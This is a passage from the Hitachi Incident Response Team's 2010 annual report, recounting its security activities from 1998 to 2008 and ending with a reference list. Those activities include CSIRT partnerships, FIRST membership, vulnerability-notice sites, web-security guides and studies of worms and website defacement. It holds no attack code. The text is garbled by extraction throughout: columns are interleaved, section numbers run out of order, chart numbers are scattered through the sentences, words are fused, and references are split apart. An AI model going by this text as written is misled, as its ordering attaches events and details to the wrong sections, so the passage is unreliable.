provided as a reference, based on which "Countermeasures against DNS Cache Poisoning vulnerability" [20]issued from the IPA in January, 2009, was created.

In 2007, to promote the practical use of the guideline"Web Application Security Guideline", we provided ahands-on, exercise-based HIRT Open Meeting twice inMarch and June for the web application developer.
(2) Founding the Nippon CSIRT Association
In order to develop a system based on a strong trusting
relationship among CSIRTs that can successfully andpromptly react to events that single CSIRTs find it difficult to solve, we founded the Nippon CSIRT Association
with IIJ-SECT (IIJ), JPCERT/CC, JSOC (LAC),
NTT-CERT (NTT) and SBCSIRT (Softbank) in April
2007 [23]. As of April 2011, 20 teams have been joined(Figure 21).

(2) Holding JWS2008
March 25-28, 2008, we held the FIRST Technical Colloquium, a FIRST technical meeting, and Joint Workshop
on Security 2008, Tokyo (JWS2008), a domestic CSIRT
technical workshop, with a team of domestic FIRST
members [21].

25

Total number of teams(3) Participation in the domestic COMCHECK Drill
2008
With a view to ensuring that in-house information security departments of various organizations could communicate with each other, we participated in a domestic
COMCHECK Drill (Drill name: SHIWASU, was held by
the Nippon CSIRT Association on December 4, 2008).

15
10
5

2010

2009

2008

2007

2006

2005

2004

2003

2002

2001

1999

2000

0

(4) Award with the Commerce and Information Policy
Bureau Chief Prize, Ministry of Economy, Tradeand Industry (Information Security Promotion
Section)Figure 21: Change in Number of Nippon CSIRT Association
Members.

In the 2008 Information Technology Promotion Monthly
Period memorial ceremony held by Information Technology Promotion Conference (Ministry of Economy,
Trade and Industry, Cabinet Office, Ministry of Internal
Affairs and Communications, Ministry of Finance Japan,
Ministry of Education, Culture, Sports, Science andTechnology, Ministry of Land, Infrastructure and Transport) on October 1, 2008. We were awarded with the"Commerce and Information Policy Bureau Chief Prize,
Ministry of Economy, Trade and Industry (Information
Security Promotion Section)" [22].

(3) Joining UK WARP
In order to strengthen the overseas partnership on
CSIRT activities, we joined the Warning, Advice andReporting Point (WARP), promoted by the Centre for theProtection of National Infrastructure (CPNI), a British
government security organization, in May 2007 [24].
(4) Lectures
July 2008: "Vulnerability Assessment through Static
Analysis" by Yuji Ukai, Fourteenforty Research Institute, Inc.

(5) Lectures
April 2008: "Management of High Reliability Organizations" by Aki Nakanishi, the Faculty of Business Administration, Meiji University.

4.4

The Year 2006

(1) Providing a Unified Point of Contact for Vulnerability Reporting(6) Other Activity

In November 2006, in order to circulate vulnerability-related information properly in the Hitachi group andthereby promote measures against vulnerabilities in Hitachi software products and websites, we provided a unified point of contact for receiving reports on vulnerabilities found in software products and web applications.

In order to partially reveal the actual circumstances oftargeted attacks as a part of efforts to develop a new inter-organization collaboration, we provided related organizations with a malware-attached e-mail, which faked
itself as Call for Papers (CFP) for the symposium held by
the Computer Security Symposium 2008 of Information
Processing Societies Japan as a sample.

Copyright © HIRT. 2011. All rights reserved.

20

10

HIRT: Annual Report 2010

As of April 2011, 19 Japanese teams have joined thecommunity. They include the CDI-CERT (Cyber Defense
Institute), CFC (Info-Communications Bureau, the National Police Agency), HIRT (Hitachi), IIJ-SECT (IIJ),
IPA-CERT (Information-technology Promotion Agency),
JPCERT/CC, JSOC (LAC), KDDI-SOC (KDDI),KKCSIRT (Kakaku.com), MIXIRT (Mixi), NCSIRT(NRI Secure Technologies), NISC (National Information
Security Center), NTT-CERT (NTT), NTT-DATA-CERT(NTT Data), Panasonic PSIRT (Panasonic), Rakuten-CERT (Rakuten), RicohPSIRT (Ricoh), SBCSIRT(Softbank) and YIRD (Yahoo) (See Figure 22).

In October 2006, as part of security measures of web
application in the Hitachi group, we created guidelines
and checklists and provided support for their implementation in the Hitachi group. We updated "Web Application
Security Guide (Development) V2.0" by adding new
vulnerabilities, such as LDAP injection and XML injection, and a method for checking the existence of such
vulnerabilities.
(3) Calling Attention to Information Leakage Causedby P2P File Exchange Software
Antinny is a virus that has penetrated widely via"Winny", file exchange software that appeared in August
2003. The virus causes infected PCs to leak information
and attack particular websites. In April 2006, HIRT issued a security alert entitled "Prevention of Information
Leakage Caused by Winny and Proactive Measuresagainst It" based on previous experience of threats.

Total number of teams

250

20
15

200

10

150

(4) Starting Product Security Activities for Intelligent
Home Appliance and embedded Products

100

We have started product security activities for intelligent
home appliance and embedded products. HIRT focusedon the Session Initiation Protocol (SIP), a call control
protocol used for Internet telephony, and summarized
related security tools and measures into a report.

5
50

2010

2009

2008

2007

2006

2005

2004

2003

2002

2001

2000

0
1999

0

Figure 22: Changes in the number of members of FIRST.

(5) Strengthening Partnership with the CSIRT Community(2) Setting Up a Security Information Portal Site
In September 2005, in order to provide Internet users
with comprehensive information on security problems
applicable to the products and service of the Hitachigroup, we set up a security information portal site within
which the security information provided through thewebsites of Hitachi business divisions and group companies is integrated (See Figure 23). We also created"Guidance for Providing Security Information from Websites to External Users, V1.0".

In March 2006, we introduced Hitachi's CSIRT activities in a workshop held by NTT-CERT to exchange information to improve CSIRT activities with each other.
(6) Lectures
May 2006: "Security for embedded systems", by
Yuji Ukai, eEye Digital Security
September 2006: "Measures against Botnet in Telecom-ISAC Japan", by Satoru Koyama, Telecom-ISAC Japan

Security information portal site:
Japanese: http://www.hitachi.co.jp/hirt/
English: http://www.hitachi.com/hirt/(7) Other Activities
Releasing information to the public Request for investigation

Starting to sign a digital signature to technical documents (PDF files) issued from HIRT [25]4.5

Total number of teams
Total number of Japanese teams

300

Total number of Japanese teams(2) Enhancing Web Application Security

The Year 2005

(1) Joining FIRST
In January 2005, to boost experience in CSIRT activities
while creating an organizational structure to address incidents in partnership with CSIRT organizations overseas,
we joined the Forum of Incident Response and Security
Teams (FIRST), an international community for computer
incident handling teams [26]. The preparation period extended for about one year, since any team wishing to join
the community must obtain recommendations from two
member teams before doing so.

The Hitachi group
IPA, JPCERT/CC
Information
Security Early
Warning
Partnership
Information
disclosure

Request forinvestigation

Affected products
and mesurements

Providing security
information via adomestic security portalsite

HIRT/CC
Aggregating
statusInformation
disclosure

Request forinvestigation

Sections developing
products

Affected
products

Investigationand measures
Preparing for
information
disclosure

Measurements

Providing security
information via Hitachigroup security potal site

Providing businessdivisions and subsidiarycompanies with security
information

Figure 23: Providing security informationon the Hitachi security information portal.

11

Copyright © HIRT. 2011. All rights reserved.

HIRT: Annual Report 2010

In line with the more active reporting and releasing of
information concerning the discovery of a vulnerability[31], we provided a point of contact, as shown in Table 7,that initiates actions when vulnerabilities or malicious
actions in Hitachi products and Hitachi-related websites
are pointed out.

(3) Strengthening the Domestic Partnership for
CSIRT Activities
To strengthen the domestic partnership for CSIRT activities, we hold meetings with domestic teams that are
members of FIRST, and individual meetings with
NTT-CERT and Microsoft Product Security Team (PST)
to exchange opinions, and have established a contact
network to be used, for example, when a website is foundto have been tampered with.

The Year 2002

4.8

(1) Disseminating Vulnerability Information from
CERT/CC throughout Hitachi

4.6

The Year 2004

SNMP vulnerability [15] reported from CERT/CC in2002 affected a wide range of software and devices. This
provided an opportunity to start the Product Vendor IRT
and obtaining/publishing information based on the
CERT/CC Vulnerability Disclosure Policy [32].
VU#459371 of October 2002 for security information on
Hitachi product was first published in the CERT/CC Vulnerability Notes Database after commencing this activity[33].

(1) Participating in the Information Security Early
Warning Partnership
The Information Security Early Warning Partnership
started in July 2004 when the "Standard for Handling
Information Related to Vulnerabilities in Software, etc."
was implemented [27][28].
The Hitachi group registered itself as a product development vendor to the Partnership, using HIRT as a pointof contact, and started publishing Hitachi's vulnerability
handling status on JP Vulnerability Notes (JVN) [29].

(2) Assisting JPCERT/CC in Building Vendor Status
Notes
We provided support to build and operate a trial website,
JPCERT/CC Vendor Status Notes (JVN)(http://jvn.doi.ics.keio.ac.jp/), in February 2003, as an
attempt to improve the domestic circulation of security
information (See Figure 24) [34][35]. With the implementation of the "Standard for Handling Information Related to Vulnerabilities in Software, etc." in July 2004, theroles of the trial site were transferred to Japan Vulnerability Notes (JVN), a site releasing information on reported
vulnerabilities (http://jvn.jp/en/index.html).

(2) Enhancing Web Application Security
In November 2004, we created the "Web Application
Security Guide (Development), V1.0" and distributed it
throughout the Hitachi group. The guide summarizes
typical problems that need to be considered when designing and developing web applications, and provides an
overview of measures taken to solve such problems.
(3) Lectures
January 2004: "Security business affairs after
Blaster in the US", by Tom Noonan, President andCEO of Internet Security Systems (ISS)

4.7

Table 7: Information on point of contact.
Name
AddressThe Year 2003

“HIRT”: Hitachi Incident Response Team.
890 Kashimada, Saiwai, Kawasaki City, Kanagawa, 212-8567

E-mail(1) Starting Web Application Security Activities

PGP key

We started to consider a method for enhancing web application security and developed the "Procedure for Creating a Security Measure Standard for Web Application
Development V1.0" with business divisions.

KeyID = 2301A5FA
Key fingerprint
7BE3 ECBF 173E 3106 F55A
011D F6CD EB6B 2301 A5FA
pub 1024D/ 2003-09-17
HIRT: Hitachi Incident Response Team(2) Disseminating Vulnerability Information fromNISCC throughout Hitachi
2002

Following the dissemination of vulnerability informationfrom CERT/CC in 2002, we started obtaining/publishing
information in accordance with the NISCC (currently,
CPNI) Vulnerability Disclosure Policy. 006489/H323 ofJanuary 2004 for security information on a Hitachi product was first published in NISCC Vulnerability Advisory
after starting the activity [30].

2003

2004

2005
2004/07/08~
Running official website

2003/02/03~2004/07/07
Trial site running period▲ JVN working group formed in June 2002

▲ Trial site (jvn.doi.ics.keio.ac.jp) to the public in February 2003
▲ JVNRSS stared in July 2003
▲ VN-CIAC stared in December 2003
▲ TRnotes stared in January 2004

(3) Providing a Point of Contact for External Organizations

Copyright © HIRT. 2011. All rights reserved.

▲ jvn.jp to the public in June 2004

Figure 24: Building and running a JVN trial site.

12

HIRT: Annual Report 2010

The Year 2001

4.11 The Year 1999

(1) Investigating the Activities of Worms Attacking
Web Services(1) Launch of the hirt.hitachi.co.jp domain
To improve the provision of security information to the
Hitachi group, we created an internal domain for HIRT
projects to set up a website (hirt.hitachi.co.jp) in December 1999.

We investigated the activities of worms attacking web
services in 2001, CodeRed I, CodeRed II and Nimda,
from June 15, 2001 to June 30, 2002, based on the log
data from the websites on the Internet. For CodeRed II
and Nimda (Figure 25), which caused significant damage
in Japan, the log reveals that the time span between thetime at which the attack was first logged and the date on
which attacks occurred most frequently was only approximately two days, indicating that damage caused by
the worms had spread rapidly and widely.

(2) Investigation of website defacement
Website defacement was a major type of incidents since
it occurred for the first time in the US in 1996 until the
network worm era started (2001 - 2004). We conducted a
research on webpage defacing from 1999 to 2002 to findout how malicious activities were performed (See Figure
26).

1,800

Number of website defacements

Number of 痕跡数
access counts

1,600

3,000
2,500
2,000

1,400
1,200
1,000
800

1,500
1,000
500
0

600
400
200
2002/Jun/20

2002/May/31

2002/May/11

2002/Apr/1

2002/Apr/21

2002/Mar/12

2002/Jan/31

2002/Feb/20

2002/Jan/11

2001/Dec/2

2001/Dec/22

2001/Nov/12

2001/Oct/3

2001/Oct/23

2001/Sep/13

2001/Aug/4

2001/Aug/24

2001/Jul/15

0

1995/01
1995/07
1996/01
1996/07
1997/01
1997/07
1998/01
1998/07
1999/01
1999/07
2000/01
2000/07
2001/01
2001/07
2002/01
2002/07

4.9

Figure 26: Changes in the number of websites defacements.

Figure 25: Changes in the number of Nimda log counts
found during the observation period (for Nimda).

4.12 The Year 1998
4.10 The Year 2000

(1) Starting to provide HIRT security information(1) Investigating the Severity Metrics for Vulnerabilities

In April 1998, we started to provide information on security measures mainly using an internal mailing list andan internal website for HIRT projects. This information isbased on the security information issued by CERT/CC,
JPCERT/CC, and product vendors (Cisco, HP, Microsoft,
Netscape, Sun Microsystems, etc.).

In order to measure the severity level of vulnerability
exploited for destructive or security-compromising activities, we investigated the severity metrics used by relevantorganizations and summarized the results into a report.

(2) Lectures

CERT/CC publishes notes called "Vulnerability Notes"[36] for vulnerability. It provides the Severity Metric indicating the severity of vulnerability [37] Common Vulnerabilities and Exposures (CVE) classified information
security vulnerabilities into "Vulnerabilities" and "Exposures" and focuses on the former [38]. The former is defined as mistakes in software to violate a reasonable security policy and the latter as environment-specific, configuration issues or mistakes in software used to violate a
specific policy. The National Institute of Standards andTechnology (NIST) uses whether or not a CERT advisory
and CVE identifier number has been issued as a guide to
determine the severity of vulnerability, and classifies
vulnerabilities into three levels in the ICAT Metabase[39], a predecessor of NVD.

On June 25 - 26, 1998, we provided "Network security"
training for Hitachi. We invited an US security expert
who had also participated in the US Security Conference
DEFCON [41] as a speaker as an instructor.

5

Conclusion

Attack techniques in cyber attacks have become advanced and sophisticated, and there seems to be a change
in the attackers' mind as well and they do not give up easily. It is necessary to respond to an incident not only withthe technical consideration but also the physiologicalconsideration as well. Under the circumstances, it is now
that we must penetrate the CSIRT activities into Japan
understanding our regionality. We should also go forward
to develop a new trust model between the local CSIRTs
and international counterparts.

Note that as severity metrics for vulnerabilities vary,depending on organizations, the Common Vulnerability
Scoring System (CVSS) [40] was proposed as a common
language with which to evaluate the severity of vulnerability in a comprehensive and general way in 2004.

With the changes surrounding the incident response inmind, HIRT will "catch the emerging threats and take
13

Copyright © HIRT. 2011. All rights reserved.

HIRT: Annual Report 2010

http://www.nca.gr.jp/jws2008/index.html

actions as early as possible". Through the improvement of
Hitachi Group's CSIRT activities and consolidation ofinter-organizational collaboration, we will continue tocontribute actively to promote vulnerability countermeasure approach and incident response in Japan.

22) 2008 Information Technology Period Promotion Awarding companies that have contributed to the promotion of information technology in 2008 (2008/10),
http://www.jipdec.or.jp/gekkan/ceremony/prize02.html

23) CSIRT - Nippon CSIRT Association,(July 1, 2011)

http://www.nca.gr.jp/

24) WARP (Warning, Advice and Reporting Point),
http://www.warp.gov.uk/

References

25) GlobalSign Adobe Certified Document Services,
http://www.globalsign.com/adobe-cds/index.htm

1) Protecting Your Critical Assets (2010),

26) FIRST (Forum of Incident Response and Security
Teams), http://www.first.org/
27) Ministry of Economy, Trade and Industry, Notification No. 235: Standard for Handling Information Related
to Vulnerabilities in Software, etc., (2004/7),

http://www.mcafee.com/us/resources/white-papers/wp-protecting-critica
l-assets.pdf

2) The New E-spionage Threat (2009),
http://www.businessweek.com/magazine/content/08_16/b40800322184
30.htmhttp://www.meti.go.jp/policy/netsecurity/downloadfiles/vulhandlingG.pdf3) Under Cyberthreat: Defense Contractors (2009),
http://www.businessweek.com/technology/content/jul2009/tc2009076_8
73512.htm

4) Information-technology Promotion Agency, IPA
Technical Watch "Report on APT" (2010),

28) Information-technology Promotion Agency, Japan:
Information Security Early Warning Partnership Guideline (2004/7),

http://www.ipa.go.jp/about/technicalwatch/20101217.html

http://www.ipa.go.jp/security/ciadr/partnership_guide.html

5) Trend Micro Incorporated: Report on Internet Threat,29) JVN (Japan Vulnerability Notes), http://jvn.jp/
30) NISCC: NISCC Vulnerability Advisory006489/H323: Vulnerability Issues in Implementations of
the H.323 Protocol (2004/1),

http://jp.trendmicro.com/jp/threat/security_news/monthlyreport/index.html6) Conficker Work Group - ANY - Infection Tracking,
http://www.confickerworkinggroup.org/wiki/pmwiki.php/ANY/Infectio
nTracking

http://www.kb.cert.org/vuls/id/JSHA-5V6H7S

31) Information-Technology Promotion Agency, Japan:
Research Reports on Policy for Security Vulnerability
Information Disclosure (2003/9),

7) NIST NVD (National Vulnerability Database),
http://nvd.nist.gov/

8) Information-Technology Promotion Agency, Japan:
Quarterly Reports,

http://www.ipa.go.jp/security/awareness/vendor/vulnerability200309012.pdf

http://www.ipa.go.jp/security/english/quarterlyrep_vuln.html

32) CERT/CC Vulnerability Disclosure Policy,9) NTT-CERT (NTT Computer Security Incident Response and Readiness Coordination Team),

http://www.cert.org/kb/vul_disclosure.html

11) Nippon CSIRT Association: incident respond33) US-CERT: Vulnerability Note VU#459371: Multiple
IPsec implementations do not adequately validate authentication data" (2002/10), http://www.kb.cert.org/vuls/id/459371
34) Considerations on JPCERT/CC Vendor Status Notes
DB: JVN, CSS2002 (2002/10),

http://www.nca.gr.jp/2010/incidentresponse.html

http://jvn.doi.ics.keio.ac.jp/nav/CSS02-P-97.pdf12) MS2009, FIRST Symposium (2010/1),

35) Development of JVN to Support Dissemination of
Security Information (2005/5),

http://www.ntt-cert.org/

10) Nippon CSIRT Association: Report on International
Collaboration Workshop (2010)
http://www.nca.gr.jp/2010/event/index.html

http://www.first.org/events/symposium/hamburg-2010/program/

http://www.hitachi.co.jp/rd/yrl/people/jvn/index.html

13) SGU MIT Workshop Academy CERT Meeting(2010/7), http://idsirtii.or.id/academy-cert-meeting/14) ITpro Security, http://itpro.nikkeibp.co.jp/security/
15) CERT Advisory CA-2002-03, "Multiple Vulnerabilities in Many Implementations of the Simple Network
Management Protocol (SNMP)" (2002/2),

36) CERT/CC Vulnerability Notes Database,
http://www.kb.cert.org/vuls37) CERT/CC Vulnerability Note Field Descriptions,
http://www.kb.cert.org/vuls/html/fieldhelp38) CVE (Common Vulnerabilities and Exposures),http://cve.mitre.org/
39) ICAT, http://icat.nist.gov/

http://www.cert.org/advisories/CA-2002-03.html

16) Anti-Malware Engineering Workshop (MWS2009)40) CVSS (Common Vulnerability Scoring System),

http://www.iwsec.org/mws/2011/

http://www.first.org/cvss/
41) DEFCON, http://www.defcon.org/

17) 2009 Survey on information leakage via P2P File
Exchange Software Environment (2009/12),
http://www.hitachi.co.jp/hirt/publications/hirt-pub09008/index.html[Author]Masato Terada
After launching HIRT activities in 1998 on a trial basis, he launched aresearch site (http://jvn.doi.ics.keio.ac.jp/), a predecessor of JVN(http://jvn.jp/), in 2002 and acted as a point of contact for HIRT in order topromote external CSIRT activities, including participation in FIRST, aninternational CSIRT organization in 2005. Presently, he works as a technicalmember of the JPCERT Coordination Center, a researcher of the Information Technology Promotion Agency, Japan, Telecom ISAC a steering committee member, and vice chief of the steering committee for the Nippon
CSIRT Association.

18) Malware Circulating in P2P File Exchange Software
Environment (2009) (2010/3),
http://www.hitachi.co.jp/hirt/publications/hirt-pub09007/index.html

19) cNotes: Current Status Notes,
http://jvnrss.ise.chuo-u.ac.jp/csn/index.cgi20) Information-Technology Promotion Agency, Japan:
Countermeasures against DNS Cache Poisoning (2009/2),
http://www.ipa.go.jp/security/vuln/DNS_security.html

21) Recording Site for Joint Workshop on Security 2008,
Tokyo (2008/3),
Copyright © HIRT. 2011. All rights reserved.

14